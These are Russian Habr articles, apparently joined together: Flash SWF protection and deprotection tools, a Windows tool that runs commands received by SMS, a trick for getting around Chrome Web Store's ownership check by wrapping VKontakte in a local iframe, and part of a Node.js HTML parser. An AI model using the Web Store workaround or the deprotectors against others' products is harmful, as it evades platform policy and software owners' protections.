Например, CryptInt, CryptString и т.д. В самих классах можно написать методы для получения и отдачи значения, шифруя или расшифровывая его, что спрячет переменную в памяти. Взгляните на реализацию классов CryptInt и CryptString в кодах к статье, в папке "2-Memory&Domain\MemoryExample".
Также, для сокрытия значений переменных, можно разбивать их на составляющие, перемешивать, сдвигать и т.д. Можно даже попробовать написать некий конвейер, который будет перемещать скрываемое значение из одних переменных в другие, освобождая использованные переменные для GC (Garbage Collector). В качестве "временных хранилищ" для таких вот перерабатываемых переменных, можно использовать ByteArray, возможно, с привлечением "Алхимии" (fastmem из [Azoth](http://www.buraks.com/azoth/), Memory из [Apparat](http://code.google.com/p/apparat/)).
А чтобы переменные не смогли поменять, даже если их найдут, то можно использовать, например, сравнение значения переменной с эталоном. Причём сравнение можно производить как при изменении переменной или обращении к ней, так и через заданные промежутки времени.
#### **Подмена ресурсов**
Подменить SWF целиком, либо подгружаемые внешние файлы можно в кэше браузера. В фальшивом SWF файле, или в подменённом ресурсе могут быть произведены любые изменения графики (размеры, прозрачность, сдвиг, частота кадров и т.д.) и кода (который делает то, чего бы вам меньше всего хотелось).
Чтобы усложнить задачу недоброжелателю (гарантированно защититься от подмены нельзя), следует проверять подлинность загружаемых данных и самого себя – можно, например, хранить MD5 и сравнивать при загрузке, причем MD5 хранить где-нибудь подальше и в зашифрованном виде.
Если SWF общается с сервером – производить скрытые проверки – отсылать на сервер MD5 загружаемых ресурсов, например.
Если есть возможность, то, для предотвращения подмены, внешние SWF и иные ресурсы можно хранить в теле основного SWF в зашифрованном виде и загружать их с помощью `Loader.loadBytes`, предварительно достав их из себя. `Loader.loadBytes` не сохраняет загружаемые данные в кэш браузера, но, в то же время, Ваш главный SWF будет закэширован. Подробнее об использовании `Loader.loadBytes` в таких случаях написано в одном из следующих разделов статьи.
Также можно запрашивать ресурсы и другие SWF файлы с сервера, лежащие в зашифрованном виде, далее расшифровывать их и загружать через `Loader.loadBytes`.
#### **Переопределение классов**
Скажу сразу, что гарантированно от этого защититься также не получится.
Подменять классы можно с помощью загрузки целевого SWF в `ApplicationDomain` загрузчика. Чтобы это сделать, можно написать загрузчик, содержащий класс с таким же именем, что и у подменяемого, и загрузить SWF в свой домен:
```
var appDomain:ApplicationDomain = ApplicationDomain.currentDomain;
var swfLoader:Loader = new Loader();
swfLoader.load(new URLRequest('original.swf'), new LoaderContext(false, appDomain));
```
Таким образом, загружаемый SWF вынужден будет "общаться" с классом из своего загрузчика. Примеры реализации Вы сможете посмотреть в кодах к статье, в папке "2-Memory&Domain\applicationDomain". Вы встретите там примеры подмены классов с помощью загрузки в дочерний и в свой домен. В "жертве" Вы сможете найти несколько вариантов проверки на загруженность (которые обходятся заменой класса, в котором они содержатся).
Можно попытаться воспрепятствовать этому, загружая основной SWF через собственный загрузчик в новый ApplicationDomain:
```
var appDomain:ApplicationDomain = new ApplicationDomain(null);
var swfLoader:Loader = new Loader();
swfLoader.load(new URLRequest('original.swf'), new LoaderContext(false, appDomain));
```
и установив прочную связь между загрузчиком и основным SWF так, чтобы их было очень трудно "разлучить". Однако, если подменят загрузчик и сумеют эту связь сохранить, то эти усилия будут напрасны.
Защищайте только действительно важные переменные и данные, комбинируйте способы.
По возможности, выносите логику работы с важными переменными на сервер, а ресурсы подписывайте и проверяйте на изменения.
### **— 3. Водяные знаки (watermarks)**
Могут использоваться для защиты от копирования, нелегального использования, а также в рекламных целях.
#### **Вот некоторые их типы:**
1. Хорошо заметные элементы: текст, логотип, изображение и т.д.
Если метка "впаяна" (относится как просто к изображениям, так и к графике в SWF), то её удаление придётся осуществлять вручную, редактируя данные, которые подверглись применению метки, что может оказаться очень сложной или вовсе невыполнимой задачей.
Если же метка лежит отдельно (либо добавляется программно), например, на самом верхнем "слое" в SWF, то шансы аккуратно её удалить гораздо выше.
2. Скрытые элементы. Они могут быть где угодно. От таких водяных знаков зачастую невозможно избавиться, т.к. никто кроме их создателей не будет знать, где искать. Такие метки должны быть уникальными, дабы была возможность доказать в суде, что это действительно метки, и что их невозможно повторить.
Этот пункт получился весьма ущербным, однако, сказать тут больше особо нечего, просто не забывайте, что такие средства защиты тоже существуют.
### **— 4. "Упаковывание" SWF**
Совсем спрятать SWF невозможно, но есть как минимум один, весьма известный способ, который может немного усложнить поиск искомого SWF незадачливым злоумышленникам.
Вы можете добавить SWF в свой flex или flash проект с помощью тэга Embed, например, так:
```
[Embed(source = "./dummy.swf", mimeType = "application/octet-stream")]
private var _content:Class;
```
Добавленный таким образом файл (это может быть любой двоичный файл или несколько файлов, если тэгов Embed будет несколько) помещается в тэг DefineBinaryData.
Далее можно загрузить "упакованный" таким образом файл с помощью `Loader.loadBytes` примерно так:
```
var someFile:ByteArray = new _content();
loader.loadBytes(someFile);
```
Существует масса инструментов для разбора SWF файлов и манипуляции с тэгами, благодаря которым существует возможность заменять или добавлять тэг DefineBinaryData.
Зная всё это, можно набросать свой простой "упаковщик" для автоматизации процесса. Перед оборачиванием, SWF можно как-нибудь преобразовать, например, обработав простым и быстрым симметричным xor’ом, а в загрузчике (который будет содержать "упакованный" SWF) написать код, который будет расшифровывать хранящийся в нём SWF, и уже затем его загружать. Простое "шифрование" с помощью xor нужно лишь для защиты от автоматической обработки декомпиляторами, чтобы SWF файл не находился внутри загрузчика в "чистом виде", более сложное шифрование бессмысленно.
Бывает, файлы "внедряют" и другими способами, например, в виде BitmapData, а также, создают несколько уровней вложенности.
Пример реализации простейшего упаковщика Вы сможете найти в кодах к статье, в папке "3-SWFPacker". Также там лежат два файла: orig.swf и packed.swf – можете попробовать их декомпилировать и сравнить.
*Этот способ обходится, как минимум, двумя путями:
— исследование алгоритма расшифровщика в загрузчике и написание собственного расшифровщика (трудоёмко, особенно при большой вложенности загрузчиков)
— сохранение участка памяти, в котором находится уже распакованный и загруженный в FP SWF файл (просто и быстро, особенно, если не использованы средства защиты от сохранения из памяти, о которых написано ниже)*
### **— 5. Динамическая генерация кода и редактирование SWF**
Меня уже неоднократно спрашивали – возможно ли во flash в реальном времени генерировать код или создавать и редактировать другие SWF файлы? Ответ – да, это возможно!
Что касается кода, попробуйте [AS3Commons ByteCode](http://www.as3commons.org/as3-commons-bytecode/emit.html). Этот проект позволит Вам собирать и выполнять в реальном времени байткод.
Вы можете создавать классы с различными методами и свойствами с нуля, или наследуясь от других классов. Тела методов, например, могут описываются с помощью байткода линейно — `methodBuilder.addOpcode(Opcode.getlocal\_0)`, или сразу блоками:
```
var source:String = (
getlocal_0
pushscope
...
getlocal_1
returnvalue).toString();
methodBuilder.addAsmSource(source);
```
Вы можете загрузить сгенерированный код в AVM с помощью `abcBuilder.buildAndLoad()`.
Также для манипуляций с байткодом Вы можете попробовать [as3abc](https://github.com/claus/as3abc), который, по словам автора, является частичным портом замечательного framework’а Apparat от небезызвестного Joa Ebert’а.
Если же Вы мечтаете о динамическом исполнении скрипта, а не байткода, то посмотрите на [as3scriptinglib](http://code.google.com/p/as3scriptinglib/). Используя этот проект, Вы сможете в реальном времени компилировать и выполнять ActionScript 3/ECMAScript скрипты, включая JavaScript. Посмотреть на то, как это работает можно во [flex демо-приложении](http://testing.newgonzo.com/newgonzo/scriptingdemo/index.html). К сожалению, проект давно не обновляется.
Для экспериментов с самим SWF файлом и его структурой, попробуйте [as3swf](https://github.com/claus/as3swf) или [swfassist](http://www.libspark.org/wiki/yossy/swfassist).
Возможность генерации кода на лету, а также возможности редактирования и создания SWF в реальном времени, позволяют создавать различные сложные сценарии и приёмы для запутывания злоумышленника и скрытия Вашего кода. Вот, например первые 3 приёма, что пришли мне на ум:
1. Генерировать и исполнять код\байткод на клиентской стороне по частям, приходящим от сервера, оставляя недоброжелателям в оригинальном SWF из всего кода, лишь то, что Вам не жалко им оставить (код свободных библиотек, кнопок и т.д.) + код расшифровщика и "строителя" уже финального кода.
2. Собирать SWF по частям на клиентской стороне, аналогично трюку с кодом – можно собирать по тэгам, получая их от сервера, или, распаковывая поодиночке из зашифрованных данных, упакованных в загрузчике.
3. Создавать самомодифицирующийся в процессе исполнения код, который, например, будет по определённым правилам или шаблонам генерировать одни и те же методы разными способами. Например, i++ можно реализовать как i+=1 (и это будет разный байткод, по крайней мере, он сейчас разный, в FP 10.1), также циклы могут быть реализованы по-разному, и т.д.
Возможно, удастся так исхитриться, чтобы сгенерированный код изменял те методы, которые его сгенерировали. Например, чтобы в следующей итерации их выполнения сгенерировались уже другие классы и методы, тем самым значительно усложняя и запутывая код, чтобы, в случае его получения злоумышленником, последнему пришлось потратить как можно больше времени на разбор всей этой "каши".
Предполагаю, что это довольно сложный (или даже невозможный во flash) трюк. Реально работающей реализации этой идеи на flash я пока не встречал. Если Вы встречали – то подскажите где посмотреть, буду рад изучить.
### **— 6. Запутывание кода (obfuscation) и скрытие данных**
Сначала об обфускации. Ей могут подвергаться как исходный так и скомпилированный в байткод код. Обфускация исходного кода не так удобна и эффективна, запутывание байткода выглядит куда как привлекательней, т.к. исходный код должен удовлетворять требованиям компилятора, чего не скажешь о байткоде, в котором, к тому же, есть куда больший простор для проявления фантазии и смекалки.
Байткод обфускация может включать в себя переименование элементов в бессмысленные и недопустимые для компилятора имена, использование некоторых анти-декомпиляторских трюков, скрытие и "замусоривание" кода и др.
Переименование — это, пожалуй, единственный необратимый и 100% работающий способ хоть что-то спрятать во flash. Суть метода заключается в изменении у методов, свойств, пакетов и других элементов имён, которые сохраняются после компиляции, но не используются при выполнении кода. Автоматически восстановить оригинальные имена невозможно, придётся это делать вручную, догадываясь о них по смыслу во время исследования кода. После обфускации новые имена могут содержать недопустимые символы или зарезервированные слова, что не позволит с лёгкостью перекомпилировать и использовать код, полученный после декомпиляции.
Иногда при обфускации байткода расставляют "ловушки" для декомпиляторов, основанные на том, что декомпиляторы анализируют код комплексно, блоками, в отличие от FP, который исполняет его линейно, например:
* Некорректный "мёртвый код" — создаётся искусственный условный переход, который всегда отрабатывает только одну ветку. Таким образом, во второй ветке мы имеем код, который никогда не выполнится, но будет обрабатываться декомпиляторами. И если там что-то непредсказуемое (а мы можем сделать там что угодно, т.к. FP до туда никогда не доберётся), то некоторые декомпиляторы могут повести себя необычно – например, аварийно завершиться.
* Непредсказуемые байты в тех областях, которые игнорирует FP, но которые не всегда игнорируют и корректно обрабатывают декомпиляторы.
Кроме того, код можно просто "замусорить", увеличив его в объёмах и снизив его читабельность. Это может негативно сказаться на производительности.
Скрытие данных можно осуществлять разными способами, например:
* **Скрытие в SWF тэгах**. Как я уже говорил, можно использовать flex-тэг Embed для встраивания любых файлов в SWF тэг DefineBinaryData, однако, можно создать и SWF тэг своего типа (FP такие тэги просто пропускает) с любыми данными, и затем извлекать их во время выполнения с помощью самораспарсивания.
Пример есть в файлах к статье, в папке "4-CustomTag" — там находится проект на основе уже упомянутой библиотеки as3swf (изменён класс `com.codeazur.as3swf.factories.SWFTagFactory` и добавлен `com.codeazur.as3swf.tags.TagCustom`). При запуске, SWF проверит — нет ли уже в нём нового тэга, и если есть — то выведет текст из него в текстовое поле, а если тэг не найдётся, то создаст сам в своей копии новый тэг со строкой, загрузит получившийся SWF в себя же с помощью `Loader.loadBytes()` и ещё предложит сохранить его в новый SWF файл.
* **Пользовательские мета данные**. Для внедрения своих метаданных, сначала их необходимо объявить в коде (можно перед объявлением класса, метода, переменной):
```
package
{
[FocusMeta(name="secret", data="123")]
public class Dummy
{
[Cool(key="another secret")]
public var dummyInt:int;
public var dummyStr:String;
}
}
```
А затем добавить их названия в "Additional compiler arguments" таким образом: -keep-as3-metadata+=FocusMeta,Cool. После этого, Вы сможете обращаться к своим мета данным через XML, который можно получить с помощью `describeType()`:
```
var typeXML: XML = describeType(Dummy);
var myMeta: XMLList = typeXML.factory.metadata.(@name == "FocusMeta");
```
Некоторые декомпиляторы и дизассемблеры позволяют с лёгкостью находить и исследовать пользовательские тэги и метаданные.
Для того, чтобы самостоятельно научиться создавать качественные помехи декомпиляторам, Вам придётся изучить то, как декомпиляторы исследуют байткод и SWF в целом. Но помните — разработчики декомпиляторов постоянно развивают свои продукты и если Ваш SWF с хитрыми приёмами попадёт к ним, то вскоре эти приёмы могут перестать работать.
Существуют утилиты для защиты SWF, применяющие только уловки против декомпиляторов или методики "упаковки", без обфускации имён, что позволяет получить чуть ли ни оригинальный исходный код, с помощью качественных публичных или собственных декомпиляторов, который компилируется без ошибок и хорошо читается. Ниже я расскажу о "правильных" инструментах, на которые следует обратить внимание.
### **— 7. Защита от сохранения SWF файла из памяти**
Гарантированно защититься от дампа из памяти нельзя. Однако, есть несложный приём, который может усложнить процесс – можно создать множество фальшивых SWF-заголовков (именно по ним обычно ищут SWF файлы в памяти), которые помогут оригинальному SWF затеряться среди них. Чтобы Ваш SWF файл не выделялся на фоне других, можно создать массу фальшивых заголовков с размерами = размерам Вашего SWF файла.
Чтобы заголовки были видны в памяти, достаточно записать их в ByteArray. Вот пример реализации этого способа, вытянутый из загрузчика одного из протекторов:
```
private function spamMemory(swfBytes:ByteArray):void
{
var allLen:uint = swfBytes.readUnsignedInt();
var swfLen:uint = swfBytes.readUnsignedInt();
var spamMemorySWFLen:uint = swfBytes.readUnsignedInt();
var spamMemorySWFBytes:ByteArray = new ByteArray();
spamMemorySWFBytes.endian = Endian.LITTLE_ENDIAN;
swfBytes.readBytes(spamMemorySWFBytes, 0, spamMemorySWFLen);
var allBytes:ByteArray = new ByteArray();
while (allBytes.length < allLen)
{
spamMemorySWFBytes.position = 4;
spamMemorySWFBytes.writeUnsignedInt((((swfLen * 3) / 4) + ((Math.random() * swfLen) / 2)));
allBytes.writeBytes(spamMemorySWFBytes);
};
Sprite.prototype["__spam_"] = allBytes;
}
```
Как Вы могли догадаться, swfBytes – это массив байт с началом "шаблонного" заголовка и "настройками" для создания "фальшивых" заголовков, а в цикле длина у "шаблонных" заголовков заполняется случайным значением в заданном диапазоне.
### **— 8. Инструментарий исследователя flash**
Основываясь на собственном опыте, я бы порекомендовал эти инструменты (цены указаны на конец 2010 года):
Декомпиляторы:
* [Action Script Viewer (ASV)](http://www.buraks.com/asv/) – умно анализирует код, строит timeline, видит все тэги, очень многое умеет. Стоимость лицензии на одного пользователя – $80.
* [AS3 Sorcerer](http://www.as3sorcerer.com/) (от разработчика ASV) – декомпилирует только код, для анализа кода используется движок ASV, работает быстро и очень качественно. Если Вы приобретали ASV в 2010 году, то лицензию на AS3 Sorcerer Вам предоставят бесплатно. Стоимость лицензии с бесплатными обновлениями на 3 месяца — $22.
* [Sothink SWF Decompiler](http://www.sothink.com/product/flashdecompiler/) – можно пользоваться на незащищённых проектах, если под рукой не оказалось ASV. Стоимость лицензии — $79.99.
Дизассемблеры (для работы с байткодом):
* ASV и Sothink умеют показывать байткод, но этого не всегда достаточно.
* [Nemo440](http://www.docsultant.com/nemo440/) – "Advanced ActionScript 3/ABC2/Flex 2/Flex 3/Flex 4/AIR disassembler". Бесплатен.
* [Yogda](http://www.yogda.com/) – "AVM2 bytecode workbench" – позволяет ассемблировать, патчить байткод, есть встроенная документация по байткоду, иногда падает при анализе защищённых SWF, однако периодически обновляется и обрастает функционалом. Бесплатен.
* [RABCDAsm](https://github.com/CyberShadow/RABCDAsm) – "Robust ABC (ActionScript Bytecode) [Dis-]Assembler" – замечательный консольный ассемблер\дизассемблер байткода. Бесплатен (+доступен исходный код).
Протекторы\обфускаторы:
* [secureSWF](http://www.kindisoft.com/) — из всей массы продуктов этой категории, что мне удалось попробовать, он единственный сумел качественно позаботиться о целостности и работоспособности всех подопытных приложений и при этом качественно выполнить свою основную задачу. Конечно же, не бывает идеальных продуктов в этой области, но secureSWF даёт очень хороший контроль над всем процессом защиты и позволяет тонко настроить различные параметры. Например, Вы можете настроить переопределяющие правила для переименования, установить уровень "замусоривания" кода и т.д. В самой дорогой редакции, Вы получаете также возможность "упаковывать" SWF или привязать её к домену. К сожалению, цена на этот продукт весьма высока: стоимость Standard редакции составляет $199.
* [irrFuscator](http://www.ambiera.com/irrfuscator/index.html) — может Вам приглянуться за его возможности по обфускации исходного кода перед компиляцией, однако, я считаю, что такой подход значительно хуже по своему качеству, чем байткод обфускация, т.к. не позволяет использовать запрещённые компилятором символы и различные трюки с байткодом. Этот продукт также умеет работать на уровне байткода, но проекты, которые я пробовал им "накрывать" довольно часто оставались неработоспособными. Стоимость Standard редакции составляет 79 евро.
* [OBFU](http://tech.motion-twin.com/obfu.html) – пожалуй, это самый дорогой обфускатор для flash, который мне доводилось видеть (стоимость – 1500 евро). Автор обфускатора — Николя Канасье, создатель haXe. Не ясно – поддерживает ли он AS3, т.к. примеры, выложенные на сайте проекта, написаны на as2 и датированы 2005 годом. К сожалению, попробовать его в действии мне пока не довелось, поэтому если вдруг Вы его когда-то пробовали, то не поленитесь, напишите отзыв о нём в комментариях.
Также прошу обратить внимание, что Amayeta SWF Encrypt, DComSoft SWF Protector, Mochi Encryption – это не то, чем Вам стоило бы "защищать" свои проекты (на данный момент), вы потратите Ваши деньги на бесполезную защиту.
Более того, Вы можете и самостоятельно реализовать простейшую обфускацию, как, например, это сделано в [примере](http://makc3d.wordpress.com/2010/02/09/open-source-swf-obfuscator/) от [makc3d](http://makc3d.wordpress.com/).
Депротекторы\декрипторы и т.д.:
* [SWF Reader](http://www.swf-reader.com/news.php) – проект одного польского умельца — многофункциональный редактор, позволяет работать со структурами, тэгами и т.д. Также имеет встроенные декрипторы\депротекторы для некоторых известных продуктов (в частности, распаковщики для doSWF, secureSWF). Cтоимость лицензии – 10 евро.
* [SWF Decrypt](http://www.swfdecrypt.com/) – поможет Вам избавиться от Amayeta SWF Encrypt и DComSoft SWF Protector (Mochi Encryption также в планах разработчика). Бесплатен.
Разное:
* [SWiX](http://www.swixkit.com/) – отличная утилита для редактирования тэгов SWF файла в удобном XML представлении. Бесплатна.
Если Вы знаете иные, действительно заслуживающие внимания инструменты, и готовы о них рассказать, то рассказывайте в комментариях или пишите лично, буду рад с ними познакомиться.
### **— эпилог**
Резюмируя, можно сказать, что, умело пользуясь подручными средствами для защиты своих проектов, Вы сможете отсеять некоторую аудиторию злоумышленников. Однако, если за исследование вашего SWF файла возьмётся профессионал, то, вероятно, он не остановится перед препятствиями и доведёт дело до конца, особенно, если он мотивирован интересной задачей или достаточным денежным вознаграждением. Поэтому всегда здраво оценивайте свой вклад в защиту своих проектов – не тратьте на это слишком много времени и средств, если это того не стоит.
И ещё — не компилируйте SWF с отладочной информацией, т.к. она содержит множество полезных потенциальному взломщику данных, не говоря уже о снижении производительности.
Спасибо, что прочитали этот нелёгкий для восприятия материал. Надеюсь, Вы нашли что-то новое для себя. Любые пожелания, замечания и конструктивные предложения Вы можете оставить в комментариях, буду Вам весьма благодарен.
*Материалы для изучения и источники информации для этой статьи (беспорядочно):*
1. [Презентация](http://codeazur.com.br/fitc/HackingSWF.pdf) Claus Wahlers "Hacking SWF" с FITC Amsterdam 2010.
2. [Доклад](http://www.flashgamm.com/moscow2010/ru/program/) Симонова Валентина ([valyard](https://habrahabr.ru/users/valyard/)) "Кто и как взламывает наши игры" с FlashGAMM 2010
3. [Статья](http://active.tutsplus.com/tutorials/workflow/protect-your-flash-files-from-decompilers-by-using-encryption/) Никиты Лещенко на английском о том, как по-простому защитить ресурсы и код, используя шифрование.
4. [Статья](http://flashgameblogs.ru/blog/actionscript/149.html) от romamik "Защита своими руками".
5. [Статья](http://flashgameblogs.ru/blog/actionscript/291.html) от Nautilus "Как защитить вашу игру от ребрендинга".
6. [Статья](http://flashgameblogs.ru/blog/324.html) от puzzlesea "Robolander, 25 days later. Защита, борьба с китайцами".
7. [Статья](http://flashgameblogs.ru/blog/software/108.html) от flashco "Обфускаторы: от бесплатного до €1500".
8. [Alexis' SWF Reference](http://http:\www.m2osw.com\mo_references_view\sswf_docs\SWFalexref.html) — описание тэгов всех версий формата, описание заголовка SWF файла и многое другое.
9. [OWASP](http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project) – в некотором роде вики по вопросам безопасности, относящихся к flash (ссылки на статьи, инструменты и т.д.).
10. Очень впечатляющая [статья](http://www.senocular.com/flash/tutorials/contentdomains/) о модели безопасности во flash от senocular под названием "Security Domains, Application Domains, and More in ActionScript 3.0".
11. [Статьи](http://www.adobe.com/devnet/flashplayer/security.html) от Adobe о безопасности во flash.
12. [Официальная статья](http://www.adobe.com/content/dam/Adobe/en/devnet/flashplayer/pdfs/flash_player_10_security.pdf) от Adobe о безопасности во FP 10 (White Paper).
Также в данной статье и кодам к ней могут быть использованы различные материалы из неуказанных тут источников, о которых я не вспомнил.
Файлы к статье: [codestage.ru/files/flash\_defend\_files.7z](http://codestage.ru/files/flash_defend_files.7z "Примеры к статье") | https://habr.com/ru/post/110686/ | null | ru | null |
# Управление компьютером с помощью SMS
После первого топика про [управление компьютером через SMS](http://habrahabr.ru/blogs/sysadm/68989/) получил немало отзывов и пожеланий. Оказалось, что идея не такая уж и безумная, какой казалась на первый взгляд.
Раз идея прижилась — выкладываю [новую версию](http://intelloware.com/download/smsrc/SMSRC.1.1.1.36.zip).
Повторяться и выкладывать заново полное описание программы не буду, его можно найти в [первом топике](http://habrahabr.ru/blogs/sysadm/68989/), приведу только список изменений и комментарии к некоторым из них.
Новое:* Добавлена возможность передачи аргументов коммандной строки при вызове скрипта
* Добавлено действие по умолчанию
* Программа отбивает все входящие звонки
Изменения:* Программа выводит в лог только ошибки
Ошибки:* При проверке новых сообщений, в случае их отсутствия возникала незначительная утечка памяти.
### Передача аргументов коммандной строки
Во входящем сообщении ищется первый пробел, если он обнаружен — строка сообщения разбивается на две части, первая интерпретируется как команда, вторая как аргументы коммандной строки.
Например, есть действие, заданное в файле конфигурации:
> `[123]
>
> script = scripts\cmd.vbs
>
> reply = 1
>
> replyTo = 7917XXXXXX
>
> allowedTo = 7917XXXXXX,7902YYYYYY`
Отправляем сообщение вида *123 net stop dnscache*. Полученное сообщение будет разбито, *123* будет интерпретировано как идентификатор действия а *net stop dnscache* будет передано в скрипт в качестве аргумента коммандной строки.
### Действие по умолчанию
Выполняется в том случае, если не найдено других действий с указанным идентификатором. Весь текст входящего SMS сообщения передается в качестве аргументов коммандной строки.
> `[Default]
>
> script = scripts\cmd.vbs
>
> reply = 1
>
> replyTo = 7917XXXXXX
>
> allowedTo = 7917XXXXXX,7902YYYYYY`
Отправляем сообщение *net stop dnscache*, если отсутствует действие с идентификатором *net* будет выполнено действие *Default*, в качестве аргументов скрипту будет передано *net stop dnscache*.
При использовании скрипта *cmd.vbs*, в том случае если у действия выставлен флаг *reply = 1*, после выполнения скрипта будет отправлено SMS сообщение, содержащее консольный вывод вызываемой комманды. Например, после выполнении *net stop dnscache* придет SMS с текстом
*Служба «DNS-клиент» успешно остановлена.*
Таким образом можно контролировать успешность выполнения отправленной комманды. | https://habr.com/ru/post/75596/ | null | ru | null |
# Обход ограничений Web Store

Web Store довольно интересная площадка для рекламы своего продукта. Если сделать всё верно и чем-то заинтересовать пользователя — вы получите огромное количество новых пользователей, которые будут видеть иконку вашего сайта постоянно и иметь возможность попасть на него одним кликом.
Но речь пойдёт о другом. Допустим, Вы обнаружили что у очень популярного сайта или игры нету приложения в Web Store. Когда я обнаружил отсутствие веб-приложения ВКонтакте, я очень удивился и сначала не смог понять, почему никто не сделал приложение закладку.
Разгадка была проста — Google не даёт возможность открывать сайт через веб-приложение, если Вы не являетесь владельцем его (Подтверждение через Google Webmaster)
Google при загрузке приложения проверяют файл manifest.json — в котором находится основная информация и если там есть ссылка на сайт который открывается, через внутренний API проверяет — являетесь-ли Вы владельцем приложения.
Допустим, у нас есть вот такое приложение (Вот уже готовое приложение — [Чат ВКонтакте](https://chrome.google.com/webstore/detail/haflfcilpijeehjbbaeobanbdajlmkcp "готовое приложение")):
> `{
>
> "name": "Чат ВКонтакте",
>
> "description": "Приложение позволяет быстро обмениться сообщениями в социальной сети ВКонтакте.",
>
> "version": "1.0",
>
> "icons": {
>
> "128": "logo.png",
>
> "16": "logo.png"
>
> },
>
> "app": {
>
> "launch": {
>
> "web_url": "http://vkontakte.ru/im.php?act=a_box&popup=1"
>
> }
>
> }
>
> }`
**Обязательно нужно не забыть про иконки — 16x16 и 128x128.** Я использовал один файл для обоих разрешений — так проще.
После загрузке готового приложения мы видим вот такое предупреждение и Google не даёт нам опубликовать его:

Но почему-бы нам просто не открыть локальный файл с «айфреймом» на всю ширину страницы. Ведь Google не проверяет локальные файлы!
Теперь просто сделав несколько шагов, мы получаем рабочие приложение:
* 1. Создаём локальный файл (Например: body.html) и сохраняем его в папку с приложением в UTF-8. Код файла: <http://pastebin.com/3rQmjZgP>
* 2. Далее в «manifest.json» необходимо поменять «web\_url» на «local\_path» и соответственно далее прописать название файла с кодом.
* 3. Сохраняем и загружаем их в Web Store!
Вот и всё. Так просто можно обойти ограничение, которое установили Google у себя в Web Store.
Надеюсь что Google обратит на это внимание, и быстро научатся сканировать и внутренние файлы, а разработчики будут всё умнее и умнее обходить эти ограничения.
UPD1: Плюсы создания таких приложений для популярных сайтов: возможно вставка контекстной рекламы или баннера внутри или вне IFrame.
Спасибо за внимание и простите за орфографические ошибки. | https://habr.com/ru/post/109884/ | null | ru | null |
# server-queryselector aka парсим html в nodejs
Итак, мы хотим получить информацию с веб сайта — это можно сделать в 3 шага
1) Получить html сайта (пропустим этот шаг)
2) Распарсить html строку и создать dom. — builderdom.js
3) Найти нужные dom\_node из dom по кссселекторам.
3.1) Распарсить строку кссселекторов и создать дерево для поиска. — cssselectorparser.js
3.2) Отфильтровать дом\_ноды по дереву кссселекторов и найти нужные. — treeworker.js
2) Парсим html:
2.1) Нарезаем строки(выделил в отдельный проект [superxmlparser74](https://href.li/?https://github.com/ru51a4/superxmlparser74))
Создаем строки, накапливаем в них токены и обрезаем по маркерам
Таким образом у нас есть тег/innerTEXT — t, аттрибуты в виде массива — attr
клик
```
class superxmlparser74 {
static parse(str, cbOpenTag, cbInnerText, cbClosedTag, cbSelfOpenTag = () => {
}) {
let isOpen = false;
let startAttr = false;
let t = ''
let tAttrKey = '';
let tAttrValue = '';
let tAttrStart = false;
let tAttr = '';
let attr = [];
let prevCh = '';
for (let i = 0; i <= str.length - 1; i++) {
//(1)- GitHub Student Developer Pack(4)
//
//comments //
if (str[i] === '/' && str[i + 1] === "/") {
for (let j = i + 2; j <= str.length - 1; j++) {
if (str[j] === '\n') {
i = j;
break;
}
}
continue
} else if (str[i] === "<") { //1
//comments
if (str[i + 1] === '!' && str[i + 2] === "-" && str[i + 3] === "-") {
for (let j = i + 4; j <= str.length - 1; j++) {
if (str[j] === '-' && str[j + 1] === '-' && str[j + 2] === '>') {
i = j + 2;
break;
}
}
continue
}
///
if (t.trim() !== '' && t.trim() !== "\n" && t.trim() !== "\t") {
//cut innerTEXT 4
cbInnerText({
value: t
});
t = '';
} else if (str[i + 1] !== "/") {
cbInnerText({
value: ""
});
}
//open tag
isOpen = true;
if (str[i + 1] === "/") {
isOpen = false;
i = i + 1;
continue;
}
} else if (str[i] === '>') {
///closed tag - build 3/5
if (isOpen) {
if (prevCh === "/") {
cbSelfOpenTag({
tag: t,
attr: attr
})
} else {
cbOpenTag({
tag: t,
attr: attr,
})
}
} else {
cbClosedTag({})
}
attr = [];
t = '';
startAttr = false;
isOpen = false;
} else {
//accum str
if ((!startAttr && str[i] !== ' ') || !isOpen) {
t += str[i];
} else if (startAttr) { //get attr 2
if (str[i] === '=') {
tAttrKey = tAttr
tAttr = '';
} else if (str[i] === '"') {
tAttrStart = !tAttrStart;
if (tAttrStart === false) {
if (tAttrKey === 'class') {
tAttrValue = tAttr.split(" ");
} else {
tAttrValue = [tAttr];
}
tAttr = '';
attr.push({key: tAttrKey, value: tAttrValue});
if (str[i + 1] === ' ') {
i = i + 1;
continue;
}
}
} else {
tAttr += str[i];
}
} else if (str[i] === ' ' && isOpen) {
startAttr = true;
}
}
prevCh = str[i];
}
}
}
```
2.2) Создаем дерево
```
const superxmlparser74 = require("superxmlparser74");
class dom_node {
childrens = [];
innerTEXT = '';
tag;
treeWorker;
constructor() {
this.treeWorker = global.treeworker;
}
innerHTML = (cliFormat = false) => {
return this.treeWorker.getInnerHTML(this, cliFormat);
};
querySelector = (selector) => {
this.treeWorker.setCurrentTreeByNode(this);
return this.treeWorker.filtredBySelector(selector);
}
}
class BuilderDOM {
html_to_dom(str) {
var utils = {
noEndTag(tag) {
let noEndTags = [
'noscript',
'link',
'base',
'meta',
'input',
'svg',
'path',
'img',
'br',
'area',
'base',
'br',
'col',
'embed',
'hr',
'img',
'input',
'keygen',
'link',
'meta',
'param',
'source',
'track',
'wbr'
];
return noEndTags.includes(tag);
}
};
let res = [];
let parentStack = [];
superxmlparser74.parse(str,
(item) => {
//opentag
if (item.tag === 'p' && parentStack[parentStack.length - 1]?.tag === 'p') {
parentStack.pop();
}
//
let el = new dom_node();
el.attr = item.attr;
el.tag = item.tag;
res.push(el);
el.attr.push({
key: 'tag',
value: [item.tag]
})
if (parentStack[parentStack.length - 1] && el.tag !== 'script') {
parentStack[parentStack.length - 1].childrens.push(el)
}
if (!utils.noEndTag(el.tag)) {
parentStack.push(el);
}
},
(item) => {
//innertext
if (parentStack[parentStack.length - 1]) {
parentStack[parentStack.length - 1].innerTEXT += item.value;
}
},
(item) => {
//closedtag
parentStack.pop();
});
return res;
}
}
```
3) Поиск
3.1) Парсинг кссселекторов
Разбиваем строку кссселекторов по разделителям, определяем какой это кссселектор, обрезаем и создаем дерево.
```
class cssSelectorParser {
parse(str) {
let res = [];
str = this.utils.lex(str);
for (var i = 0; i <= str.length - 1; i++) {
if (str[i].includes(".")) {
res.push({key: 'class', value: str[i].substring(1)});
} else if (str[i].includes("#")) {
res.push({key: 'id', value: str[i].substring(1)});
} else if (str[i].includes("[")) {
let current = str[i];
current = current.substring(1);
current = current.slice(0, -1);
